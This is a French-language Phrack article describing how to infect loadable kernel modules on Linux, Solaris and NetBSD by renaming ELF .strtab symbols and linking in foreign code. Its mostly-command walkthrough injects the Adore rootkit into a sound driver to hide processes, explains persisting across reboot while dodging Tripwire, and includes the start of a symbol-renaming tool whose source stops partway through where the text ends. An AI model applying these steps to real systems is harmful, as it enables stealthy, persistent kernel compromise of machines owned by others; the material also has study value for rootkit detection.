                            ==Phrack Inc.==

                Volume 0x0b, Issue 0x3d, Phile #0x0a of 0x0f

|=----------------=[ Loadable kernel module infection ]=----------------=|
|=----------------------------------------------------------------------=|
|=-------------------=[ truff <truff@projet7.org>  ]=-------------------=|


--[ Contents

1 - Introduction

2 - ELF basis
 2.1 - La section .symtab
 2.2 - La section .strtab

3 - Playing with loadable kernel modules
 3.1 - Chargement de module 
 3.2 - La modification .strtab
 3.3 - Code injection
 3.4 - Reste' furtif

4 - Exemple concret
 4.1 - Infection lkm mini-howto
 4.2 - I will survive (un reboot)

5 - En ce qui concerne les autres systemes ?
 5.1 - Solaris
 5.2 - *BSD
  5.2.1 - FreeBSD
  5.2.2 - NetBSD
  5.2.3 - OpenBSD

6 - Greetings

7 - References

8 - Code 8.1 - ElfStrChange




--[ 1 - Introduction

Depuis quelques années, de nombreux rootkit utilisant les LKM sont
utilisés. Est ce une mode ? Pas vraiment, les lkm sont très utilisés parce
qu'ils sont tres puissants : vous pouvez cacher des fichiers, des processus
et faire d'autres choses vraiment cool. Les premiers rootkits utilisant les
lkm pouvaient être facilement détécté via un simple lsmod.  Nous avons vu
de nombreuses techniques permettant de cacher les modules, comme la
premiere utilisée dans l'article de Plaguez's [1], ou la plus rusée
utilisée par le rootkit Adore [2].  Quelques années plus tard, nous avons
vu apparaitre d'autres techniques basées sur la modification de l'image
mémoire du kernel utilisant /dev/kmem [3].  Finallement, une technique de
patch du kernel statique nous a été présenté dans le [4].  Celle ci résoud
un important probleme: le rootkit sera rechargé apres un reboot.

Le but de cet article est de décrire une nouvelle technique utilisée pour
cacher les lkm et qui nous  assure que les lkms seront rechargés apres un
reboot. Nous allons voir comment faire cela, en affectant(infectant ??) un
module kernel utilisé par le système.  Nous allons plus précisement nous
focaliser sur les kernels Linux x86 2.4.x, mais cette technique peut être
appliquée aux autre systemes d'exploitation qui utilise le format ELF(on
parle de kernel ou d'OS la ?). Quelques connaissances sont nécéssaires pour
comprendre cette technique. Les modules kernel sont des fichiers objets
ELF, nous allons ainsi étudier le format ELF, et en particulier le nommage
des symboles dans un objet ELF. Apres cela, nous allons étudier les
mécanismes qui sont utilisés pour charger un module , dont on en deduira un
moyen d'injecter du  code dans un module kernel.  Finallement, nous verrons
comment injecter un module dans un autre, dans une situation réelle.


--[ 2 - ELF Basis

L'ELF (Executable and Linking Format) décrit, comme son nom l'indique, un
format de fichiers binaires exécutables ou *linkables*. Nous allons
uniquement décrirela partie de ce format qui nous intéresse et qui nous
servira pour la suite. (Ce format est décrit dans son intégralité dans [1].
) Lorsque nous lions deux objets ELF, l'éditeur de lien a besoin de
connaitre certaines données indiquant l'ensemble des symboles pour chaque
objet. Chaque objet ELF (les lkm par exemple) contient deux sections dont
le role est de stocker certains types d'informations descrivant chaque
symbole. Nous allons les étudier et voir quelques idées utiles pour
l'infection de module kernel.


----[ 2.1 - La section .symtab

Cette section est une table de structures contenant des données nécessaires
à  l'éditeur de lien  pour utiliser les symboles contenus dans un objet
ELF.  Cette structure est définie dans le fichier /usr/include/elf.h:


/* Symbol table entry. */

typedef struct {
	 Elf32_Word st_name; /* Symbol name (string tbl index) */
	 Elf32_Addr st_value; /* Symbol value */
	 Elf32_Word st_size; /* Symbol size */
 	 unsigned char st_info; /* Symbol type and binding */
	 unsigned char st_other; /* Symbol visibility */
	 Elf32_Section st_shndx; /* Section index */ 
}Elf32_Sym;

Le seul champ qui nous interessera plus tard est le champ st_name. Ce champ
ne contient pas directement la chaine repeésentant le nom du symbole. Il
contient un index de la section .strtab ou sera stoqué le nom du symbole.


----[ 2.2 - La section .strtab

La section .strtab est une suite de chaines de caractères terminées par le
caractère null. Comme nous l'avons vu ci-dessus, le champ st_name de la
structure Elf32_Sym est un index dans la section .strtab, on peut donc
obtenir facilement l'offset de la chaine qui contient le nom du symbole par
la formule suivante:

offset_sym_name = offset_strtab + st_name

offset_strtab est l'offset de la section .strtab depuis le début du
fichier. Il est obtenu simplement par un mécanisme de résolution des noms
de sections que je ne décrirai pas ici car ceci n'a aucun intérêt pour le
sujet traité. Ce mécanisme est décrit completement dans le [5] et
implémenté dans le code (paragraphe 9.1)

On peut déduire de ce qui précède que, le nom d'un symbole dans un objet
ELF est facilement accessible et donc facilement modifiable.  Cependant une
règle doit être respectée pour effectuer une telle modification. En effet,
nous avons vu que la section .strtab est une succession de chaines de
caratères terminées par le caractère null, ceci implique une restriction
sur le nouveau nom d'un symbole après une modification: la longueur du
nouveau nom du symbole devra être inférieure ou égale à celle du nom
original de manière à ne pas déborder sur le nom du symbole suivant dans la
section .strtab.

Nous allons voir par la suite que la simple modification d'un nom de
symbole va nous permettre, dans un premier temps, de  modifier le
fonctionnement normal d'un module noyau, puis d'infecter un module par un
autre module.


----[ 3 - Playing with loadable kernel modules

Le but de cette section est de présenter le mécanisme de chargement
dynamique d'un module. De cela, on pourra déduire une technique nous
permettant d'injecter du code dans ce module.

----[ 3.1 - Chargement de Module

Les modules noyau sont chargés via l'utilitaire userland insmod qui figure
dans le package modutils [6]. Dans le fichier insmod.c la fonction
init_module permet de charger le module dans le noyeau.

static int init_module(const char *m_name, struct obj_file *f,
		       unsignedlong m_size, const char *blob_name,
		       unsigned int noload, unsigned int flag_load_map)
{ 
(1)	struct module *module;
	struct obj_section *sec;
	void *image;
	int ret = 0;
	tgt_long m_addr;

....

(2)	 module->init = obj_symbol_final_value(f,
			obj_find_symbol(f, "init_module"));
(3)	 module->cleanup = obj_symbol_final_value(f,
			obj_find_symbol(f, "cleanup_module"));

....

	if (ret == 0 && !noload) {
		 fflush(stdout); /* Flush any debugging output */
(4)		 ret = sys_init_module(m_name, (struct module *) image);
		 if (ret)  {
			 error("init_module: %m");
			 lprintf(
 "Hint: insmod errors can be caused by incorrect module parameters, "
 "including invalid IO or IRQ parameters.\n"
 "You may find more information in syslog or the output from dmesg");
		 }
	 }


Dans la  fonction (1), on va charger une structure module qui va contenir
les informations necessaires au chargement du module. Les champs
intéréssants sont init_module et cleanup_module qui sont des pointeurs de
fonction  pointant respectivement sur init_module() et cleanup_module() du
module devant être chargé. La fonction obj_find_module (2) va parcourir la
table des symboles a la recherche de celui dont le nom est init_module. La
même opération va ensuite être réaalisée (3) pour la fonction
cleanup_module(). Il faut bien garder à l'esprit que les fonctions qui
seront appellées a` l'initialision et la terminaison du module sont celles
dont l'entrée dans la section .strtab correspond respectivement à
init_module et cleanup_module.

Lorsque la structure module est complétées (4), le syscall
sys_init_module() est appellé pour laisser le kernel charger le module.

Ci-dessous se trouve une partie intérréssante de l'appel systeme
sys_init_module() qui est appellé durant le chargement du module.  Le code
de cette fonction se trouve dans /usr/src/linux/kernel/module.c

asmlinkage long
sys_init_module(const char *name_user, struct module *mod_user)
{
	 struct module mod_tmp, *mod;
	 char *name, *n_name, *name_tmp = NULL;
	 long namelen, n_namelen, i, error;
	 unsigned long mod_user_size;
	struct module_ref *dep;

	/* Lots of sanity checks */
.....
	/* Ok, that's about all the sanity we can stomach; copy the rest.*/

(1) 	if (copy_from_user((char *)mod+mod_user_size,
			   (char*)mod_user+mod_user_size,
			    mod->size-mod_user_size)) {
		 error = -EFAULT;
		 goto err3; }

	/* Other sanity checks */

....

	/* Initialize the module. */
	atomic_set(&mod->uc.usecount,1);
	mod->flags |= MOD_INITIALIZING;
(2)	 if (mod->init && (error = mod->init()) != 0) {
		atomic_set(&mod->uc.usecount,0);
		 mod->flags &= ~MOD_INITIALIZING;
		 if (error > 0) /* Buggy module */
			 error = -EBUSY;
		  goto err0;
		 }
	 atomic_dec(&mod->uc.usecount);

Apres quelques tests visant à vérifier l'intégrité des données, on copie la
structure module de l'userland vers le kernelland a` l'aide de la fonction
copy_from_user() (1). Puis (2) la fonction init_module() de notre module va
être apellée via le pointeur de  fonction mod->init(), initialisé par
l'utilitaire insmod.


----[ 3.2 - La modification .strtab

Nous avons vu dans la partie précédente que l'adresse de la fonction
d'initialisation du module est repérée a` l'aide d'une chaine dans la
section .strtab. La modification de cette chaine va nous permettre
d'executer une autre fonction que init_module() lorsque le module est
chargé.  Il y a différentes manières de modifier une entrée de la section
.strtab.  L'option -wrap de ld peut être utilisée, mais cette option n'est
pas compatible avec l'option -r dont nous auront besoin plus tard (dans le
paragraphe 3.3). On peut aussi utiliser xxd, comme montré dans la partie
5.1. J'ai codé un outil (paragraphe 9.1) pour automatiser cette tache.

Ici se trouve un court exemple:

$ cat test.c

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>

int init_module(void) { 
	printk ("<1> Into init_module()\n");
	return 0;
 }

int evil_module(void) {
	 printk ("<1> Into evil_module()\n");
	 return 0;
 }

int cleanup_module(void) {
	 printk ("<1> Into cleanup_module()\n");
	 return 0;
 }

$ cc -O2 -c test.c

Let's have a look at the .symtab and .strtab sections:

$ objdump -t test.o

test.o: file format elf32-i386

SYMBOL TABLE:
0000000000000000 l df *ABS* 0000000000000000 test.c
0000000000000000 l d .text 0000000000000000
0000000000000000 l d .data 0000000000000000
0000000000000000 l d .bss 0000000000000000
0000000000000000 l d .modinfo 0000000000000000
0000000000000000 l O .modinfo 0000000000000016 __module_kernel_version
0000000000000000 l d .rodata 0000000000000000
0000000000000000 l d .comment 0000000000000000
0000000000000000 g F .text 0000000000000014 init_module
0000000000000000     *UND* 0000000000000000 printk
0000000000000014 g F .text 0000000000000014 evil_module
0000000000000028 g F .text 0000000000000014 cleanup_module

Nous allons maintenant modifier deux entrées de la section .strtab de
manière à ce que la fonction evil_module prenne le nom init_module.  Pour
réaliser cette modification, on doit tout d'abord renommer le symbole
init_module car deux symboles de meme nature ne peuvent pas avoir le même
nom dans un meme objet ELF. On réalise donc dans l'ordre les deux
modifications suivantes:

1) init_module ----> dumm_module
2) evil_module ----> init_module

$ ./elfstrchange test.o init_module dumm_module
 [+] Symbol init_module located at 0x3dc
 [+] .strtab entry overwriten with dumm_module

$ ./elfstrchange test.o evil_module init_module
 [+] Symbol evil_module located at 0x3ef
 [+] .strtab entry overwriten with init_module

$ objdump -t test.o

test.o: file format elf32-i386

SYMBOL TABLE:
0000000000000000 l df *ABS* 0000000000000000 test.c
0000000000000000 l d .text 0000000000000000
0000000000000000 l d .data 0000000000000000
0000000000000000 l d .bss 0000000000000000
0000000000000000 l d .modinfo 0000000000000000
0000000000000000 l O .modinfo 0000000000000016 __module_kernel_version
0000000000000000 l d .rodata 0000000000000000
0000000000000000 l d .comment 0000000000000000
0000000000000000 g F .text 0000000000000014 dumm_module
0000000000000000      *UND* 0000000000000000 printk
0000000000000014 g F .text 0000000000000014 init_module
0000000000000028 g F .text 0000000000000014 cleanup_module


# insmod test.o tail -n 1 /var/log/kernel
May 4 22:46:55 accelerator kernel: Into evil_module()

Comme nous pouvons le voir, la fonction evil_module a été appelée à la
place de la fonction init_module.


----[ 3.3 - Code injection

La technique précédente permet donc de faire s'exécuter une fonction à la
place d'une autre, cependant cela présente assez peu d'intéret en soi. Il
serait préférable d'injecter du code externe dans le module. Ceci est assez
*simple* à mettre en place, en utilisant le formidable éditeur de liens ld.


$ cat original.c

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>

int init_module(void) {
	 printk ("<1> Into init_module()\n");
	 return 0;
}

int cleanup_module(void) {
	 printk ("<1> Into cleanup_module()\n");
	 return 0;
}

$ cat inject.c

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>


int inje_module (void) {
	 printk ("<1> Injected\n");
	 return 0;
 }

$ cc -O2 -c original.c $ cc -O2 -c inject.c


Et c'est ici que commencent les choses sérieuses. L'injection du code ne va
pas poser de problème puisque les modules noyau sont des objets Elf
relocatables. Ce type d'objet peuvent être liés entre eux pour partager
leurs symboles et se completer les uns les autres. Une règle doit cependant
être respectée : un même symbole ne peut pas exister dans plusieurs modules
qui vont être liés entre eux.  Nous allons utiliser l'option -r de
l'éditeur de liens ld, de manière à réaliser un édition de lien partielle.
Ceci permet de recréer un objet Elf de la même nature que ceux qui ont
servi à sa construction. Cela va créer un module qui peut être chargé par
le kernel.

$ ld -r original.o inject.o -o evil.o $ mv evil.o original.o $ objdump -t
original.o

original.o: file format elf32-i386

SYMBOL TABLE:
0000000000000000 l d .text 0000000000000000
0000000000000000 l d *ABS* 0000000000000000
0000000000000000 l d .rodata 0000000000000000
0000000000000000 l d .modinfo 0000000000000000
0000000000000000 l d .data 0000000000000000
0000000000000000 l d .bss 0000000000000000
0000000000000000 l d .comment 0000000000000000
0000000000000000 l d *ABS* 0000000000000000
0000000000000000 l d *ABS* 0000000000000000
0000000000000000 l d *ABS* 0000000000000000
0000000000000000 l df *ABS* 0000000000000000 original.c
0000000000000000 l O .modinfo 0000000000000016 __module_kernel_version
0000000000000000 l df *ABS* 0000000000000000 inject.c
0000000000000016 l O .modinfo 0000000000000016 __module_kernel_version
0000000000000014 g F .text 0000000000000014 cleanup_module
0000000000000000 g F .text 0000000000000014 init_module
0000000000000000      *UND* 0000000000000000 printk
0000000000000028 g F .text 0000000000000014 inje_module

La fonction inje_module() a été liée dans le module. Il suffit maintenant
de modifier la section .strtab de manière à faire s'exécuter inje_module()
à la place de init_module().


$ ./elfstrchange original.o init_module dumm_module
 [+] Symbol init_module located at 0x4a8
 [+] .strtab entry overwriten with dumm_module

$ ./elfstrchange original.o inje_module init_module
 [+] Symbol inje_module located at 0x4bb
 [+] .strtab entry overwriten with init_module


Vérifions maintenant que tout a bien fonctionné.

# insmod original.o tail -n 1 /var/log/kernel
May 14 20:37:02 accelerator kernel: Injected

And the magic occurs.

----[ 3.4 - Restons furtif

La plupart du temps, nous allons infecté un module qui sera en utilisation.
Si l'on remplace la fonction init_module() originale par une autre
fonction, le module perd donc sa fonctionnalité originale, à notre profit.
Cependant, si le module infecté ne fonctionne pas proprement, il sera
facilement détecté. Mais il y a une solution qui permet d'injecter du code
dans un module sans modifier son comportement normal. Une fois la section
.strtab modifiée, la fonction init_module() originale aura pour nom
dumm_module. Si nous insérons un appel a dumm_module() dans notre fonction
evil_module(), la vrai fonction init_module() va être appellée à
l'initialisation et le module va garder son comportement normal.

remplacez init_module --------> dumm_module
	  inje_module -------> init_module (contient un appel a dumm_module)

$ cat stealth.c 

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>

int inje_module (void) {
	 dumm_module ();
	 printk ("<1> Injected\n");
	 return 0;
 }

$ cc -O2 -c stealth.c $ ld -r original.o stealth.o -o evil.o
$ mv evil.o original.o 
$ ./elfstrchange original.o init_module dumm_module
 [+] Symbol init_module located at 0x4c9
 [+] .strtab entry overwriten with dumm_module

$ ./elfstrchange original.o inje_module init_module
 [+] Symbol inje_module located at 0x4e8
 [+] .strtab entry overwriten with init_module

# insmod original.o tail -n 2 /var/log/kernel
May 17 14:57:31 accelerator kernel: Into init_module() May 17 14:57:31
accelerator kernel: Injected

Parfait, le code injecté est exécuté à la suite du code réel; ainsi la
modification est cachée.



--[ 4 - Exemple concret

La méthode utilisée pour modifier init_module dans les parties précédentes,
peut s'appliquer sans probleème à la fonction cleanup_module. On peut donc
envisager d'injecter un module complet dans un autre module.  J'ai injecter
le célèbre rootkit adore dans mon driver son (i810_audio.o) avec une
manipulation assez simple.

----[ 4.1 - infection lkm mini-howto.

1) Il faut tout d'abord,apporter quelques légères modifications dans le
code de adore.c

* insérer dans le code de init_module(), un appel a dumm_module() insérer
* dans le code de cleanup_module(), un appel a dummcle_module() remplacer
* le nom de la fonction init_module par evil_module remplacer le nom de la
* fonction cleanup_module par evclean_module

2) Compiler adore avec la commande make

3) lier adore avec i810_audio.o

ld -r i810_audio.o adore.o -o evil.o

Si le module est déja chargé, vous devez le decharger: rmmod i810_audio

mv evil.o i810_audio.o

4) Apporter les modification a la section .strtab:

remplacez init_module -------> dumm_module
	  evil_module -------> init_module (contient un appel à dumm_module)

	  cleanup_module ---> evclean_module
 	  evclean_module ---> cleanup_module (contient un appel a` evclean_module)

$ ./elfstrchange i810_audio.o init_module dumm_module
 [+] Symbol init_module located at 0xd012
 [+] .strtab entry overwriten with dumm_module

$ ./elfstrchange i810_audio.o evil_module init_module
 [+] Symbol evil_module located at 0xd245
 [+] .strtab entry overwriten with init_module

$ ./elfstrchange i810_audio.o cleanup_module dummcle_module
 [+] Symbol cleanup_module located at 0xcec4
 [+] .strtab entry overwriten with dummcle_module

$ ./elfstrchange i810_audio.o evclean_module cleanup_module
 [+] Symbol evclean_module located at 0xd15e
 [+] .strtab entry overwriten with cleanup_module


5) Charger le module et le tester:

# insmod i810_audio ./ava
Usage: ./ava {h,u,r,R,i,v,U} [file, PID or dummy (for U)]

	 h hide file
	 u unhide file
	 r execute as root
	 R remove PID forever
	 U uninstall adore
	 i make PID invisible
	 v make PID visible

# ps
PID TTY TIME CMD 2004 pts/3 00:00:00 bash 2083 pts/3 00:00:00 ps

# ./ava i 2004
Checking for adore 0.12 or higher ...  Adore 0.42 installed. Good luck.
Made PID 2004 invisible.

root@accelerator:/home/truff/adore# ps PID TTY TIME CMD
#

Super!! J'ai codé un petit shell script pour les paresseux (paragraphe 9.2)
qui fait ce travail en grande partie.


----[ 4.2 - I will survive (un reboot)

Lorsque le module est chargé, nous avons deux options, qui ont chacune leur
pours et leur contres:

* Remplacer le vrai module se trouvant dans /lib/modules/ par le notre
  qui est infecté. Cela nous assura que le code de notre backdoor sera
  rechargé apres un reboot. Toutefois, si nous faisons cela, nous pouvons
  être detecté par un HIDS (Host Intrusion Detection System) comme Tripwire
  [7]. Cependant, comme un module kernel n'est ni un executable, ni un
  fichier suid,il ne sera pas détecté que si l'HIDS est configuré sur
  paranoid.

* Laissons le vrai module kernel inchangé dans /lib/modules et
  supprimons notre module infecté. Notre module sera enlevé lors du reboot,
  mais il ne sera pas détecté par un HIDS qui vérifie les fichiers modifiés.


--[ 5 - En ce qui concerne les autres systemes ?

----[ 5.1 - Solaris

J'ai utilisé un module kernel basic provenant du [8] pour illustrer cet
exemple.  Les modules kernel Solaris utilisent 3 fonctions principals:
- _init sera appellé a l'initialisation du module
- _fini sera appellé au module cleanup
- _info imprime des infos concernant le module

$ uname -srp SunOS 5.7 sparc

$ cat mod.c

#include <sys/ddi.h>
#include <sys/sunddi.h> 
#include <sys/modctl.h>

extern struct mod_ops mod_miscops;

static struct modlmisc modlmisc = {
	 &mod_miscops,
	 "Real Loadable Kernel Module",
 };

static struct modlinkage modlinkage = {
	 MODREV_1,
	 (void *)&modlmisc,
	 NULL
};

int _init(void) {
	 int i;
	 if ((i = mod_install(&modlinkage)) != 0)
		cmn_err(CE_NOTE,"Could not install module\n");
	 else
		 cmn_err(CE_NOTE,"mod: successfully installed");
	 return i;
 }

int _info(struct modinfo *modinfop) {
	 return (mod_info(&modlinkage, modinfop));
 }

int _fini(void) {
	 int i;
	 if ((i = mod_remove(&modlinkage)) != 0)
		cmn_err(CE_NOTE,"Could not remove module\n");
	 else
		 cmn_err(CE_NOTE,"mod: successfully removed");
	 return i;
 }


$ gcc -m64 -D_KERNEL -DSRV4 -DSOL2 -c mod.c $ ld -r -o mod mod.o 
$ file mod
mod: ELF 64-bit MSB relocatable SPARCV9 Version 1

Comme nous l'avons vu dans le cas de linux, le code que nous injectons doit
contenir un appel a la fonction init réelle, pour que le module garde son
comportement régulier. Cependant, nous devons faire face a un probleme: Si
nous modifions la section .strtab après l'operation de lien, le chargeur
dynamique ne trouvera pas la fonction _dumm() et le module ne pourra pas
être chargé. Je n'ai pas appronfi la question, mais je pense que le
chargeur dynamique sur solaris ne cherchent pas les références aux
undefined symbols dans le module lui-même . Cependant, ce probleme peut
facilement être résolu. Si nous changeons la vrai entrée _init .strab pour
_dumm avant l'operation de lien, tout fonctionnera proprement.

$ readelf -S mod
 There are 10 section headers, starting at offset 0x940:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .text             PROGBITS         0000000000000000  00000040
       0000000000000188  0000000000000000  AX       0     0     4
  [ 2] .rodata           PROGBITS         0000000000000000  000001c8
       000000000000009b  0000000000000000   A       0     0     8
  [ 3] .data             PROGBITS         0000000000000000  00000268
       0000000000000050  0000000000000000  WA       0     0     8
  [ 4] .symtab           SYMTAB           0000000000000000  000002b8
       0000000000000210  0000000000000018           5     e     8
  [ 5] .strtab           STRTAB           0000000000000000  000004c8
       0000000000000065  0000000000000000           0     0     1
  [ 6] .comment          PROGBITS         0000000000000000  0000052d
       0000000000000035  0000000000000000           0     0     1
  [ 7] .shstrtab         STRTAB           0000000000000000  00000562
       000000000000004e  0000000000000000           0     0     1
  [ 8] .rela.text        RELA             0000000000000000  000005b0
       0000000000000348  0000000000000018           4     1     8
  [ 9] .rela.data        RELA             0000000000000000  000008f8
       0000000000000048  0000000000000018           4     3     8
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)


La section .strtab débute a l'offset 0x4c8 et a une taille de 64 octets.
Nous allons utiliser vi et xxd comme éditeur hexa. Chargez le module dans
vi avec: vi mod. Apres cela, utilisez :%!xxd pour convertir le module en
une valeur hexa. Vous devriez voir quelques chose comme sa:

00004c0: 0000 0000 0000 0000 006d 6f64 006d 6f64  .........mod.mod
00004d0: 2e63 006d 6f64 6c69 6e6b 6167 6500 6d6f  .c.modlinkage.mo
00004e0: 646c 6d69 7363 006d 6f64 5f6d 6973 636f  dlmisc.mod_misco
00004f0: 7073 005f 696e 666f 006d 6f64 5f69 6e73  ps._info.mod_ins
0000500: 7461 6c6c 005f 696e 6974 006d 6f64 5f69  tall._init.mod_i
                        ^^^^^^^^^
Nous modifions 4 octets pour remplacer _init par _dumm

00004c0: 0000 0000 0000 0000 006d 6f64 006d 6f64  .........mod.mod
00004d0: 2e63 006d 6f64 6c69 6e6b 6167 6500 6d6f  .c.modlinkage.mo
00004e0: 646c 6d69 7363 006d 6f64 5f6d 6973 636f  dlmisc.mod_misco
00004f0: 7073 005f 696e 666f 006d 6f64 5f69 6e73  ps._info.mod_ins
0000500: 7461 6c6c 005f 6475 6d6d 006d 6f64 5f69  tall._init.mod_i
                        ^^^^^^^^^
On utilsie :%!xxd -r pour retrouver le module de la valeur hexa, ensuite on
sauvegarde et on quittte :wq . Apres cela, nous pouvons vérifier que le
remplacement s'est bien déroulé.

$ objdump -t mod

mod: file format elf64-sparc

SYMBOL TABLE:
0000000000000000 l    df *ABS*  0000000000000000 mod
0000000000000000 l    d  .text  0000000000000000
0000000000000000 l    d  .rodata        0000000000000000
0000000000000000 l    d  .data  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  .comment       0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    df *ABS*  0000000000000000 mod.c
0000000000000010 l     O .data  0000000000000040 modlinkage
0000000000000000 l     O .data  0000000000000010 modlmisc
0000000000000000         *UND*  0000000000000000 mod_miscops
00000000000000a4 g     F .text  0000000000000040 _info
0000000000000000         *UND*  0000000000000000 mod_install
0000000000000000 g     F .text  0000000000000188 _dumm
0000000000000000         *UND*  0000000000000000 mod_info
0000000000000000         *UND*  0000000000000000 mod_remove
00000000000000e4 g     F .text  0000000000000188 _fini
0000000000000000         *UND*  0000000000000000 cmn_err

Le symbole _init a été  remplacé par _dumm. Maintenant nous pouvons
directement injecter une fonction dont le nom est _init sans aucun
probleme.

$ cat evil.c
int _init(void)
{
        _dumm ();
        cmn_err(1,"evil: successfully installed");
        return 0;
}
            
$ gcc -m64 -D_KERNEL -DSRV4 -DSOL2 -c inject.c
$ ld -r -o inject inject.o

The injecting part using ld:

$ ld -r -o evil mod inject

Load the module:

# modload evil tail -f /var/adm/messages
Jul 15 10:58:33 luna unix: NOTICE: mod: successfully installed Jul 15
10:58:33 luna unix: NOTICE: evil: successfully installed

La meme opération peut être effectuée pour la fonction _fini pour injecter
un module complet dans un autre.


----[ 5.2 - *BSD

------[ 5.2.1 - FreeBSD

% uname -srm
FreeBSD 4.8-STABLE i386


% file /modules/daemon_saver.ko
daemon_saver.ko: ELF 32-bit LSB shared object, Intel 80386, version 1
(FreeBSD), not stripped

Comme nous pouvons le voir, les modules kernel de FreeBSD sont des objets
partagés. De ce fait, nous ne pouvons utiliser ld pour linker du code dans
le module. En outre, le mecanisme qui est utilisé pour charger un module
est completement différent de celui utilisés par les systemes Linux et
Solaris.Vous pouvez en avoir un apercu dans:
/usr/src/sys/kern/kern_linker.c . N'importe quel nom peut etre utilisé pour
la fonction init/cleanup. A l'initialisation, le loader trouve l'adresse de
la fonction init dans une structure stockée dans la section .data. Ensuite,
la modification de .strtab peut également être utilisée.

------[ 5.2.2 - NetBSD

$ file nvidia.o nvidia.o: ELF 32-bit LSB relocatable, Intel 80386, version
1 (SYSV), not stripped

Nous pouvons injecter le code dans un module kernel NetBSD parce que c'est
un object ELF relocatable. Lorsque modload charge un module kernel, il le
lie avec le kernel et execute le code placé au point d'entrée du module
(logé dans l'header ELF).  Apres l'operation de liage, nous pouvons changé
le point d'entrée, mais ce n'est pas nécéssaire parce que modload a une
option spécial (-e) qui permet de lui indiquer quel symbole  utiliser comme
point d'entrée.

Ici se trouve le module d'exemple que nous allons infecter:

$ cat gentil_lkm.c
#include <sys/cdefs.h>
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/lkm.h>

MOD_MISC("gentil");

int	gentil_lkmentry(struct lkm_table *, int, int);
int	gentil_lkmload(struct lkm_table *, int);
int	gentil_lkmunload(struct lkm_table *, int);
int	gentil_lkmstat(struct lkm_table *, int);

int gentil_lkmentry(struct lkm_table *lkmt, int cmd, int ver)
{
	DISPATCH(lkmt, cmd, ver, gentil_lkmload, gentil_lkmunload,
	    gentil_lkmstat);
}

int gentil_lkmload(struct lkm_table *lkmt, int cmd)
{
	printf("gentil: Hello, world!\n");
	return (0);
}

int gentil_lkmunload(struct lkm_table *lkmt, int cmd)
{
	printf("gentil: Goodbye, world!\n");
	return (0);
}

int gentil_lkmstat(struct lkm_table *lkmt, int cmd)
{
	printf("gentil: How you doin', world?\n");
	return (0);
}

Ici se trouve le code qui sera injecté:

$ cat evil_lkm.c
#include <sys/cdefs.h>
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/lkm.h>

int	gentil_lkmentry(struct lkm_table *, int, int);

int
inject_entry(struct lkm_table *lkmt, int cmd, int ver)
{
	switch(cmd) {
	case LKM_E_LOAD:
		printf("evil: in place\n");
		break;
	case LKM_E_UNLOAD:
		printf("evil: i'll be back!\n");
		break;
	case LKM_E_STAT:
		printf("evil: report in progress\n");
		break;
	default:
		printf("edit: unknown command\n");
		break;
	}

	return gentil_lkmentry(lkmt, cmd, ver);
}

  After compiling gentil and evil we link them together:
  
$ ld -r -o evil.o gentil.o inject.o
$ mv evil.o gentil.o

# modload -e evil_entry gentil.o
Module loaded as ID 2

# modstat 
Type    Id   Offset Loadaddr Size Info     Rev Module Name
DEV       0  -1/108 d3ed3000 0004 d3ed3440   1 mmr
DEV       1  -1/180 d3fa6000 03e0 d4090100   1 nvidia
MISC      2       0 e45b9000 0004 e45b9254   1 gentil

# modunload -n gentil

# dmesg | tail
evil: in place
gentil: Hello, world!
evil: report in progress
gentil: How you doin', world?
evil: i'll be back!
gentil: Goodbye, world!

Ok, tout marche comme un charme.

------[ 5.2.3 - OpenBSD

OpenBSD n'utilise pas le format ELF sur les architecture x86, ainsi la
technique précédente ne peut être utilisée. Je n'ai pas testé sur des
plateformes utilisant ELF mais je pense que cela s'apparenterait à NetBSD,
ainsi la technique peut certainement être appliquée. Merci de m'indiquer
si vous reussissez à éxécuter la technique présentée sur "OpenBSD ELF".

--[ 6 - Conclusion

Cet article a augmenté le nombre de techniques qui permettent de dissimuler
du code dans le kernel. J'ai présenté cette technique parce qu'il me semble
intéressant de pouvoir dissimuler du code  avec tres peu de manipulations.
Amusez vous bien lorsque vous l'utiliserez.

--[ 7 - Greetings

Je voulais remercier mycroft, OUAH, aki et afrique pour leur commentaires
et leurs idées. Un gros merci a klem pour m'avoir apprit le reverse
engineering.  Merci a FXKennedy pour m'avoir aidé avec NetBSD.  Un gros
bisous a Carla car elle est merveilleuse. Merci aux gens de #root, spud
hotfyre, funka, jaia, climax, redoktober ...

--[ 8 - References


  [1] Weakening the Linux Kernel by Plaguez
      http://www.phrack.org/show.php?p=52&a=18
    
  [2] The Adore rootkit by stealth
      http://stealth.7350.org/rootkits/

  [3] Runtime kernel kmem patching by Silvio Cesare
      http://vx.netlux.org/lib/vsc07.html
    
  [4] Static Kernel Patching by jbtzhm
      http://www.phrack.org/show.php?p=60&a=8

  [5] Tool interface specification on ELF 
      http://segfault.net/~scut/cpu/generic/TIS-ELF_v1.2.pdf

  [6] Modutils for 2.4.x kernels 
      ftp://ftp.kernel.org/pub/linux/utils/kernel/modutils/v2.4

  [7] Tripwire
      http://www.tripwire.org
    
  [8] Solaris Loadable Kernel Modules by Plasmoid
      http://www.thc.org/papers/slkm-1.0.html
      
    

--[ 9 - Codes

----[ 9.1 - ElfStrChange

/*
 * elfstrchange.c by truff <truff@projet7.org>
 * Change the value of a symbol name in the .strtab section
 *
 * Usage: elfstrchange elf_object sym_name sym_name_replaced
 *
 */

#include <stdlib.h>
#include <stdio.h>
#include <elf.h>

#define FATAL(X) { perror (X);exit (EXIT_FAILURE); }


int ElfGetSectionName (FILE *fd, Elf32_Word sh_name, 
